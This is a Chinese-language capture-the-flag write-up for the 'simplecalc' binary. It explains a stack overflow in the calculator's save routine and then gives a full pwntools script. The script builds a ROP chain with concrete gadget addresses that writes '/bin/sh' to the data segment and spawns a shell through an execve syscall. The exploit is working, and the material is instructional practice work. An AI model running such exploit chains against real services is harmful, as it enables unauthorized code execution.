相关资源
文件分析 1 2 3 4 5 6 $ checksec simplecalc Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ ./simplecalc | | Something Calculator | | Expected number of calculations: 50 Options Menu: [1] Addition. [2] Subtraction. [3] Multiplication. [4] Division. [5] Save and Exit. => 1 Integer x: 1 Integer y: 1 Do you really need help calculating such small numbers? Shame on you... Bye
代码分析
可以看到首先获取输入v20
,然后进行v20
次计算操作,计算结果存入数组v21
中
当选择选项5时,会将v21
中的内容全部拷贝到v18
中,明显此处存在栈溢出切溢出内容我们可以通过计算结果来控制
攻击方法 该文件是静态链接的,但是没有找到库函数system
,并且开启了栈不可执行ALT+T
查找syscall
发现存在,则可以利用系统调用来实现攻击rdi -> '/bin/sh'字符串指针
rsi -> 0
rdx -> 0
rax -> 0x3b
由ROPgadget
我们可以获取到可用pop指令地址
需要将’/bin/sh’写入到数据段中(写在栈上不知道地址,数据段地址固定)
ROPgadget --binary simplecalc --only "mov|ret"
刚好有 0x0000000000400aba : mov qword ptr [rdi], rdx ; ret
则只要构造pop链将目标地址置入rdi
,将’/bin/sh’置入rdx
再调用即可
最后构造pop链执行syscall
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *import syscontext(os='linux' , log_level='debug' ) mode = '' if len (sys.argv) > 1 : mode = sys.argv[1 ] proc = process("./simplecalc" ) def s (x ): proc.send(x)def sl (x ): return proc.sendline(x)def sd (x ): return proc.send(x)def sla (x, y ): return proc.sendlineafter(x, y)def sa (x, y ): return proc.sendafter(x, y)def ru (x ): return proc.recvuntil(x)def rc (): return proc.recv()def rl (): return proc.recvline()def li (con ): return log.info(con)def ls (con ): return log.success(con)def pi (): return proc.interactive()def pcls (): return proc.close()def ga (): return u64(ru(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))def addSingle (x ): proc.recvuntil("=> " ) proc.sendline("1" ) proc.recvuntil("Integer x: " ) proc.sendline("100" ) proc.recvuntil("Integer y: " ) proc.sendline(str (x - 100 )) def add (z ): x = z & 0xffffffff y = ((z & 0xffffffff00000000 ) >> 32 ) addSingle(x) addSingle(y) gscript = ''' b main b * 0x401545 c ''' if mode == '-d' : gdb.attach(proc, gdbscript=gscript) rax_ret = 0x44db34 rdx_ret = 0x437a85 rdi_ret = 0x401b73 rsi_ret = 0x401c87 syscall = 0x400488 dest = 0x6C4480 mv_rdx2_prdi = 0x400aba sla(b'calculations: ' , b'100' ) for i in range (9 ): add(0 ) add(rdi_ret) add(dest) add(rdx_ret) add(0x0068732f6e69622f ) add(mv_rdx2_prdi) add(rsi_ret) add(0 ) add(rdx_ret) add(0 ) add(rax_ret) add(0x3b ) add(syscall) sla(b'=> ' , b'5' ) pi() pause()